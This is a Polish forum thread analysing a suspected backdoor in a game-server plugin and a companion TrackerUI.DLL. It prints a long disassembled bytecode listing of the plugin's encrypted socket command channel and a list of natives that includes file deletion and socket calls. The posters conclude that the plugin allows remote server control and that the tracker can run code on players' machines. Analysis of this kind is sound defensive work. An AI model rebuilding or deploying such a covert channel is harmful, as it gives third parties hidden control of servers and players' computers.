0x1CA4 LOAD.S.pri 0xFFFFEFE0 ; received_bytes
0x1CAC CONST.alt 0x406
0x1CB4 JEQ 0x1CD0
0x1CBC BREAK
0x1CC0 ZERO.pri
0x1CC4 STACK 0x1020 ; free 1032 cells
0x1CCC RETN
0x1CD0 BREAK
; new i
0x1CD4 PUSH.C 0x0
0x1CDC JUMP 0x1CF0
0x1CE4 BREAK
0x1CE8 INC.S 0xFFFFEFDC ; i
0x1CF0 LOAD.S.pri 0xFFFFEFDC ; i
0x1CF8 CONST.alt 0x406
0x1D00 JSGEQ 0x1D4C
0x1D08 BREAK
0x1D0C ADDR.alt 0xFFFFEFE4
0x1D14 LOAD.S.pri 0xFFFFEFDC ; i
0x1D1C BOUNDS 0x406
0x1D24 IDXADDR
0x1D28 PUSH.pri
0x1D2C LOAD.I
0x1D30 CONST.alt 0xFF
0x1D38 AND
0x1D3C POP.alt
0x1D40 STOR.I
0x1D44 JUMP 0x1CE4
0x1D4C STACK 0x4 ; free 1 cells
0x1D54 BREAK
0x1D58 PUSH.C 0x406
0x1D60 PUSH.ADR 0xFFFFEFE4 ; packet[1031]
0x1D68 PUSH.C 0x150
0x1D70 PUSH.C 0x4
0x1D78 SYSREQ.C 0x1 ; strlen
0x1D80 STACK 0x8 ; free 2 cells
0x1D88 PUSH.pri
0x1D8C PUSH.C 0x150
0x1D94 PUSH.C 0x10
0x1D9C CALL 0x23C4 ; stock Encryption_RC4(Key[],KeyLen,Buffer[],BufferLen)
0x1DA4 BREAK
0x1DA8 ADDR.pri 0xFFFFEFE4 ; packet[1031]
0x1DB0 ADD.C 0x14 ; signed: 20
0x1DB8 LOAD.I
0x1DBC CONST.alt 0x23
0x1DC4 JEQ 0x1DE0
0x1DCC BREAK
0x1DD0 ZERO.pri
0x1DD4 STACK 0x1020 ; free 1032 cells
0x1DDC RETN
0x1DE0 BREAK
0x1DE4 ADDR.pri 0xFFFFEFE4 ; packet[1031]
0x1DEC ADD.C 0x18 ; signed: 24
0x1DF4 PUSH.pri
0x1DF8 PUSH.C 0x17
0x1E00 PUSH.S 0xC ; command[24]
0x1E08 PUSH.C 0xC
0x1E10 SYSREQ.C 0x19 ; copy
0x1E18 STACK 0x10 ; free 4 cells
0x1E20 BREAK
0x1E24 ADDR.pri 0xFFFFEFE4 ; packet[1031]
0x1E2C ADD.C 0x78 ; signed: 120
0x1E34 PUSH.pri
0x1E38 PUSH.C 0x3E8
0x1E40 PUSH.S 0x10 ; data[1000]
0x1E48 PUSH.C 0xC
0x1E50 CALL 0x1BA0 ; stock __l33tn3t_memcpy(dst[],tocopy,src[])
0x1E58 BREAK
0x1E5C CONST.pri 0x1
0x1E64 STACK 0x1020 ; free 1032 cells
0x1E6C RETN
0x1E70 PROC ; stock __l33tn3t_sock_send(command[],data[],data_len)
0x1E74 BREAK
0x1E78 BREAK
; new packet[1030]
0x1E7C STACK 0xFFFFEFE8 ; allocate 1030 cells
0x1E84 ZERO.pri
0x1E88 ADDR.alt 0xFFFFEFE8
0x1E90 FILL 0x1018 ; 1030 cells
0x1E98 BREAK
; new i
0x1E9C PUSH.C 0x0
0x1EA4 JUMP 0x1EB8
0x1EAC BREAK
0x1EB0 INC.S 0xFFFFEFE4 ; i
0x1EB8 LOAD.S.pri 0xFFFFEFE4 ; i
0x1EC0 CONST.alt 0x4
0x1EC8 JSGRTR 0x1F2C
0x1ED0 BREAK
0x1ED4 ADDR.alt 0xFFFFEFE8
0x1EDC LOAD.S.pri 0xFFFFEFE4 ; i
0x1EE4 BOUNDS 0x405
0x1EEC IDXADDR
0x1EF0 PUSH.pri
0x1EF4 PUSH.C 0xFF
0x1EFC PUSH.C 0x0
0x1F04 PUSH.C 0x8
0x1F0C SYSREQ.C 0x13 ; random_num
0x1F14 STACK 0xC ; free 3 cells
0x1F1C POP.alt
0x1F20 STOR.I
0x1F24 JUMP 0x1EAC
0x1F2C STACK 0x4 ; free 1 cells
0x1F34 BREAK
0x1F38 ADDR.pri 0xFFFFEFE8 ; packet[1030]
0x1F40 ADD.C 0x14 ; signed: 20
0x1F48 MOVE.alt
0x1F4C CONST.pri 0x23
0x1F54 STOR.I
0x1F58 BREAK
0x1F5C PUSH.S 0xC ; command[]
0x1F64 PUSH.C 0x17
0x1F6C ADDR.pri 0xFFFFEFE8 ; packet[1030]
0x1F74 ADD.C 0x18 ; signed: 24
0x1F7C PUSH.pri
0x1F80 PUSH.C 0xC
0x1F88 SYSREQ.C 0x19 ; copy
0x1F90 STACK 0x10 ; free 4 cells
0x1F98 BREAK
0x1F9C PUSH.S 0x10 ; data[]
0x1FA4 LOAD.S.pri 0x14 ; data_len
0x1FAC CONST.alt 0xFFFFFFFF
0x1FB4 JEQ 0x1FCC
0x1FBC LOAD.S.pri 0x14 ; data_len
0x1FC4 JUMP 0x2010
0x1FCC PUSH.S 0x10 ; data[]
0x1FD4 PUSH.C 0x4
0x1FDC SYSREQ.C 0x1 ; strlen
0x1FE4 STACK 0x8 ; free 2 cells
0x1FEC PUSH.pri
0x1FF0 PUSH.C 0x3E8
0x1FF8 PUSH.C 0x8
0x2000 SYSREQ.C 0x28 ; min
0x2008 STACK 0xC ; free 3 cells
0x2010 PUSH.pri
0x2014 ADDR.pri 0xFFFFEFE8 ; packet[1030]
0x201C ADD.C 0x78 ; signed: 120
0x2024 PUSH.pri
0x2028 PUSH.C 0xC
0x2030 CALL 0x1BA0 ; stock __l33tn3t_memcpy(dst[],tocopy,src[])
0x2038 BREAK
0x203C PUSH.C 0x406
0x2044 PUSH.ADR 0xFFFFEFE8 ; packet[1030]
0x204C PUSH.C 0x150
0x2054 PUSH.C 0x4
0x205C SYSREQ.C 0x1 ; strlen
0x2064 STACK 0x8 ; free 2 cells
0x206C PUSH.pri
0x2070 PUSH.C 0x150
0x2078 PUSH.C 0x10
0x2080 CALL 0x23C4 ; stock Encryption_RC4(Key[],KeyLen,Buffer[],BufferLen)
0x2088 BREAK
0x208C PUSH.C 0x406
0x2094 PUSH.ADR 0xFFFFEFE8 ; packet[1030]
0x209C PUSH 0x244 ; __l33tn3t_socket
0x20A4 PUSH.C 0xC
0x20AC SYSREQ.C 0x29 ; socket_send2
0x20B4 STACK 0x10 ; free 4 cells
0x20BC STACK 0x1018 ; free 1030 cells
0x20C4 RETN
0x20C8 PROC ; stock bool:Validator_FileName(FileName[])
0x20CC BREAK
0x20D0 BREAK
; new Len
0x20D4 STACK 0xFFFFFFFC ; allocate 1 cells
0x20DC PUSH.S 0xC ; FileName[]
0x20E4 PUSH.C 0x4
0x20EC SYSREQ.C 0x1 ; strlen
0x20F4 STACK 0x8 ; free 2 cells
0x20FC STOR.S.pri 0xFFFFFFFC ; Len
0x2104 BREAK
; new I
0x2108 PUSH.C 0x0
0x2110 JUMP 0x2124
0x2118 BREAK
0x211C INC.S 0xFFFFFFF8 ; I
0x2124 LOAD.S.pri 0xFFFFFFF8 ; I
0x212C LOAD.S.alt 0xFFFFFFFC ; Len
0x2134 JSGEQ 0x23A4
0x213C BREAK
0x2140 LOAD.S.pri 0xFFFFFFF8 ; I
0x2148 LOAD.S.alt 0xC ; FileName[]
0x2150 IDXADDR
0x2154 LOAD.I
0x2158 EQ.C.pri 0x2E
0x2160 JZER 0x2174
0x2168 BREAK
0x216C JUMP 0x2118
0x2174 BREAK
0x2178 LOAD.S.pri 0xFFFFFFF8 ; I
0x2180 LOAD.S.alt 0xC ; FileName[]
0x2188 IDXADDR
0x218C LOAD.I
0x2190 EQ.C.pri 0x5F
0x2198 JZER 0x21AC
0x21A0 BREAK
0x21A4 JUMP 0x2118
0x21AC BREAK
0x21B0 LOAD.S.pri 0xFFFFFFF8 ; I
0x21B8 LOAD.S.alt 0xC ; FileName[]
0x21C0 IDXADDR
0x21C4 LOAD.I
0x21C8 EQ.C.pri 0x2F
0x21D0 JZER 0x21E4
0x21D8 BREAK
0x21DC JUMP 0x2118
0x21E4 BREAK
0x21E8 LOAD.S.pri 0xFFFFFFF8 ; I
0x21F0 LOAD.S.alt 0xC ; FileName[]
0x21F8 IDXADDR
0x21FC LOAD.I
0x2200 MOVE.alt
0x2204 CONST.pri 0x61
0x220C XCHG
0x2210 JSLESS 0x2258
0x2218 LOAD.S.pri 0xFFFFFFF8 ; I
0x2220 LOAD.S.alt 0xC ; FileName[]
0x2228 IDXADDR
0x222C LOAD.I
0x2230 MOVE.alt
0x2234 CONST.pri 0x7A
0x223C XCHG
0x2240 JSGRTR 0x2258
0x2248 CONST.pri 0x1
0x2250 JUMP 0x225C
0x2258 ZERO.pri
0x225C JZER 0x2270
0x2264 BREAK
0x2268 JUMP 0x2118
0x2270 BREAK
0x2274 LOAD.S.pri 0xFFFFFFF8 ; I
0x227C LOAD.S.alt 0xC ; FileName[]
0x2284 IDXADDR
0x2288 LOAD.I
0x228C MOVE.alt
0x2290 CONST.pri 0x41
0x2298 XCHG
0x229C JSLESS 0x22E4
0x22A4 LOAD.S.pri 0xFFFFFFF8 ; I
0x22AC LOAD.S.alt 0xC ; FileName[]
0x22B4 IDXADDR
0x22B8 LOAD.I
0x22BC MOVE.alt
0x22C0 CONST.pri 0x5A
0x22C8 XCHG
0x22CC JSGRTR 0x22E4
0x22D4 CONST.pri 0x1
0x22DC JUMP 0x22E8
0x22E4 ZERO.pri
0x22E8 JZER 0x22FC
0x22F0 BREAK
0x22F4 JUMP 0x2118
0x22FC BREAK
0x2300 LOAD.S.pri 0xFFFFFFF8 ; I
0x2308 LOAD.S.alt 0xC ; FileName[]
0x2310 IDXADDR
0x2314 LOAD.I
0x2318 MOVE.alt
0x231C CONST.pri 0x30
0x2324 XCHG
0x2328 JSLESS 0x2370
0x2330 LOAD.S.pri 0xFFFFFFF8 ; I
0x2338 LOAD.S.alt 0xC ; FileName[]
0x2340 IDXADDR
0x2344 LOAD.I
0x2348 MOVE.alt
0x234C CONST.pri 0x39
0x2354 XCHG
0x2358 JSGRTR 0x2370
0x2360 CONST.pri 0x1
0x2368 JUMP 0x2374
0x2370 ZERO.pri
0x2374 JZER 0x2388
0x237C BREAK
0x2380 JUMP 0x2118
0x2388 BREAK
0x238C ZERO.pri
0x2390 STACK 0x8 ; free 2 cells
0x2398 RETN
0x239C JUMP 0x2118
0x23A4 STACK 0x4 ; free 1 cells
0x23AC BREAK
0x23B0 CONST.pri 0x1
0x23B8 STACK 0x4 ; free 1 cells
0x23C0 RETN
0x23C4 PROC ; stock Encryption_RC4(Key[],KeyLen,Buffer[],BufferLen)
0x23C8 BREAK
0x23CC BREAK
; new S[256]
0x23D0 STACK 0xFFFFFC00 ; allocate 256 cells
0x23D8 ZERO.pri
0x23DC ADDR.alt 0xFFFFFC00
0x23E4 FILL 0x400 ; 256 cells
0x23EC BREAK
; new b
0x23F0 PUSH.C 0x0
; new i
0x23F8 PUSH.C 0x0
; new j
0x2400 PUSH.C 0x0
; new x
0x2408 PUSH.C 0x0
; new y
0x2410 PUSH.C 0x0
0x2418 BREAK
0x241C ZERO.S 0xFFFFFBF8 ; i
0x2424 JUMP 0x2438
0x242C BREAK
0x2430 INC.S 0xFFFFFBF8 ; i
0x2438 LOAD.S.pri 0xFFFFFBF8 ; i
0x2440 CONST.alt 0x100
0x2448 JSGEQ 0x2488
0x2450 BREAK
0x2454 ADDR.alt 0xFFFFFC00
0x245C LOAD.S.pri 0xFFFFFBF8 ; i
0x2464 BOUNDS 0xFF
0x246C IDXADDR
0x2470 MOVE.alt
0x2474 LOAD.S.pri 0xFFFFFBF8 ; i
0x247C STOR.I
0x2480 JUMP 0x242C
0x2488 BREAK
0x248C ZERO.S 0xFFFFFBF8 ; i
0x2494 JUMP 0x24A8
0x249C BREAK
0x24A0 INC.S 0xFFFFFBF8 ; i
0x24A8 LOAD.S.pri 0xFFFFFBF8 ; i
0x24B0 CONST.alt 0x100
0x24B8 JSGEQ 0x25F4
0x24C0 BREAK
0x24C4 LOAD.S.pri 0xFFFFFBF4 ; j
0x24CC PUSH.pri
0x24D0 ADDR.alt 0xFFFFFC00
0x24D8 LOAD.S.pri 0xFFFFFBF8 ; i
0x24E0 BOUNDS 0xFF
0x24E8 LIDX
0x24EC POP.alt
0x24F0 ADD
0x24F4 PUSH.pri
0x24F8 LOAD.S.pri 0xC ; Key[]
0x2500 PUSH.pri
0x2504 LOAD.S.pri 0x10 ; KeyLen
0x250C LOAD.S.alt 0xFFFFFBF8 ; i
0x2514 SDIV.alt
0x2518 MOVE.pri
0x251C POP.alt
0x2520 IDXADDR
0x2524 LOAD.I
0x2528 POP.alt
0x252C ADD
0x2530 MOVE.alt
0x2534 CONST.pri 0x100
0x253C SDIV.alt
0x2540 MOVE.pri
0x2544 STOR.S.pri 0xFFFFFBF4 ; j
0x254C BREAK
0x2550 ADDR.alt 0xFFFFFC00
0x2558 LOAD.S.pri 0xFFFFFBF8 ; i
0x2560 BOUNDS 0xFF
0x2568 LIDX
0x256C STOR.S.pri 0xFFFFFBFC ; b
0x2574 BREAK
0x2578 ADDR.alt 0xFFFFFC00
0x2580 LOAD.S.pri 0xFFFFFBF8 ; i
0x2588 BOUNDS 0xFF
0x2590 IDXADDR
0x2594 PUSH.pri
0x2598 ADDR.alt 0xFFFFFC00
0x25A0 LOAD.S.pri 0xFFFFFBF4 ; j
0x25A8 BOUNDS 0xFF
0x25B0 LIDX
0x25B4 POP.alt
0x25B8 STOR.I
0x25BC BREAK
0x25C0 ADDR.alt 0xFFFFFC00
0x25C8 LOAD.S.pri 0xFFFFFBF4 ; j
0x25D0 BOUNDS 0xFF
0x25D8 IDXADDR
0x25DC MOVE.alt
0x25E0 LOAD.S.pri 0xFFFFFBFC ; b
0x25E8 STOR.I
0x25EC JUMP 0x249C
0x25F4 BREAK
0x25F8 ZERO.S 0xFFFFFBF8 ; i
0x2600 JUMP 0x2614
0x2608 BREAK
0x260C INC.S 0xFFFFFBF8 ; i
0x2614 LOAD.S.pri 0xFFFFFBF8 ; i
0x261C LOAD.S.alt 0x18 ; BufferLen
0x2624 JSGEQ 0x2804
0x262C BREAK
0x2630 LOAD.S.pri 0xFFFFFBF0 ; x
0x2638 ADD.C 0x1 ; signed: 1
0x2640 MOVE.alt
0x2644 CONST.pri 0x100
0x264C SDIV.alt
0x2650 MOVE.pri
0x2654 STOR.S.pri 0xFFFFFBF0 ; x
0x265C BREAK
0x2660 ADDR.alt 0xFFFFFC00
0x2668 LOAD.S.pri 0xFFFFFBF0 ; x
0x2670 BOUNDS 0xFF
0x2678 LIDX
0x267C MOVE.alt
0x2680 LOAD.S.pri 0xFFFFFBEC ; y
0x2688 ADD
0x268C MOVE.alt
0x2690 CONST.pri 0x100
0x2698 SDIV.alt
0x269C MOVE.pri
0x26A0 STOR.S.pri 0xFFFFFBEC ; y
0x26A8 BREAK
0x26AC ADDR.alt 0xFFFFFC00
0x26B4 LOAD.S.pri 0xFFFFFBF0 ; x
0x26BC BOUNDS 0xFF
0x26C4 LIDX
0x26C8 STOR.S.pri 0xFFFFFBFC ; b
0x26D0 BREAK
0x26D4 ADDR.alt 0xFFFFFC00
0x26DC LOAD.S.pri 0xFFFFFBF0 ; x
0x26E4 BOUNDS 0xFF
0x26EC IDXADDR
0x26F0 PUSH.pri
0x26F4 ADDR.alt 0xFFFFFC00
0x26FC LOAD.S.pri 0xFFFFFBEC ; y
0x2704 BOUNDS 0xFF
0x270C LIDX
0x2710 POP.alt
0x2714 STOR.I
0x2718 BREAK
0x271C ADDR.alt 0xFFFFFC00
0x2724 LOAD.S.pri 0xFFFFFBEC ; y
0x272C BOUNDS 0xFF
0x2734 IDXADDR
0x2738 MOVE.alt
0x273C LOAD.S.pri 0xFFFFFBFC ; b
0x2744 STOR.I
0x2748 BREAK
0x274C ADDR.alt 0xFFFFFC00
0x2754 LOAD.S.pri 0xFFFFFBF0 ; x
0x275C BOUNDS 0xFF
0x2764 LIDX
0x2768 PUSH.pri
0x276C ADDR.alt 0xFFFFFC00
0x2774 LOAD.S.pri 0xFFFFFBEC ; y
0x277C BOUNDS 0xFF
0x2784 LIDX
0x2788 POP.alt
0x278C ADD
0x2790 MOVE.alt
0x2794 CONST.pri 0x100
0x279C SDIV.alt
0x27A0 MOVE.pri
0x27A4 STOR.S.pri 0xFFFFFBF4 ; j
0x27AC BREAK
0x27B0 LOAD.S.pri 0xFFFFFBF8 ; i
0x27B8 LOAD.S.alt 0x14 ; Buffer[]
0x27C0 IDXADDR
0x27C4 PUSH.pri
0x27C8 LOAD.I
0x27CC PUSH.pri
0x27D0 ADDR.alt 0xFFFFFC00
0x27D8 LOAD.S.pri 0xFFFFFBF4 ; j
0x27E0 BOUNDS 0xFF
0x27E8 LIDX
0x27EC POP.alt
0x27F0 XOR
0x27F4 POP.alt
0x27F8 STOR.I
0x27FC JUMP 0x2608
0x2804 STACK 0x414 ; free 261 cells
0x280C ZERO.pri
0x2810 RETN
Lista natywów
native: socket_send2
native: min
native: socket_recv
native: close_dir
native: next_file
native: open_dir
native: socket_close
native: rmdir
native: remove_task
native: task_exists
native: delete_file
native: rename_file
native: fclose
native: fputc
native: fseek
native: fopen
native: copy
native: md5_file
native: file_exists
native: equal
native: socket_change
native: set_task
native: random_num
native: get_user_name
native: get_user_ip
native: get_plugin
native: add
native: num_to_str
native: socket_open
native: mkdir
native: set_pcvar_num
native: get_pcvar_num
native: register_cvar
native: precache_generic
native: set_pcvar_string
native: format
native: get_pcvar_string
native: get_cvar_pointer
native: register_plugin
native: replace
native: strlen
native: contain
Wszystkie funkcje
0x000023C4 stock Encryption_RC4(Key[],KeyLen,Buffer[],BufferLen)
0x000020C8 stock bool:Validator_FileName(FileName[])
0x00000DEC stock __l33tn3t_check_socket()
0x0000198C stock __l33tn3t_flush_temp()
0x00001BA0 stock __l33tn3t_memcpy(dst[],tocopy,src[])
0x000005A0 stock __l33tn3t_plugin_cfg()
0x00001874 stock __l33tn3t_plugin_end()
0x000004B0 stock __l33tn3t_plugin_init()
0x00001C34 stock __l33tn3t_sock_recv(command[24],data[1000])
0x00001E70 stock __l33tn3t_sock_send(command[],data[],data_len)
0x00000DC8 public amx_g_check_bomb_pev_interval()
0x00000434 public plugin_cfg()
0x00000458 public plugin_end()
0x000002C0 public plugin_init()
0x0000047C public plugin_precache()
0x00000008 stock replace_all(string[],len,what[],with[])
I to chyba wyjaśnia wszystko 😉 http://gamehostingtalk.pl/topic/22661-pukawka-serwerywiaderkocom/
Analiza TrackerUI.DLL
http://anubis.iseclab.org/?action=result&task_id=182dfca378672469435012edf8a6d97b5&format=html#idp33540560
Kolejne informacje
.rdata:1000F090 0000000D C C:\\Users\\Pawe
.rdata:1000F09F 0000004E C ******\\Documents\\Visual Studio 2013\\Projects\\TrackerUI\\Release\\TrackerUI.pdb
Kod trackera
/*Tu był kod , został usunięty na prośbę autora */
Krótkie wnioski
Plugin wiaderka pozwala prawdopodobnie na kontrole serwera , wykonywanie komend, podmiana plików etc. wątpię że ktokolwiek chce dawać dostęp do serwera osobom trzecim. TrackerUI jest raczej bezpieczny , podmienia niektóre pliki ale nie są to pliki ważne ( oczywiście podmienia pliki od mastera ). Tracker ma możliwość wykonywania dowolnego kodu na komputerze gracza. Osobiście nie radził bym wrzucać tego na serwer.
Mógłbyś jakoś to podsumować? Chodzi mi o to, żebyś napisał jakieś krótkie wnioski 😛
A na jakie pytania chciałbyś abym odpowiedział 😛 ?
Jakiego programu użyłeś na dekompilacje do asm?
Dodałem krótkie wnioski od siebie.
Program użyty to https://forums.alliedmods.net/showthread.php?t=79957
To co napisałeś we wnioskach jest wystarczające 😀
Dzięki że zastosowałeś się do mojej prośby 😛
Ożesz w dupę..
Po cholerę dostęp do plików systemowych poprzez TrackerUI.dll?
Tracker ma dostęp do wszystkiego
Masz jeszcze kod trackera?
Jasne
DarkGL popraw sznurówkę do GHT
Poprawione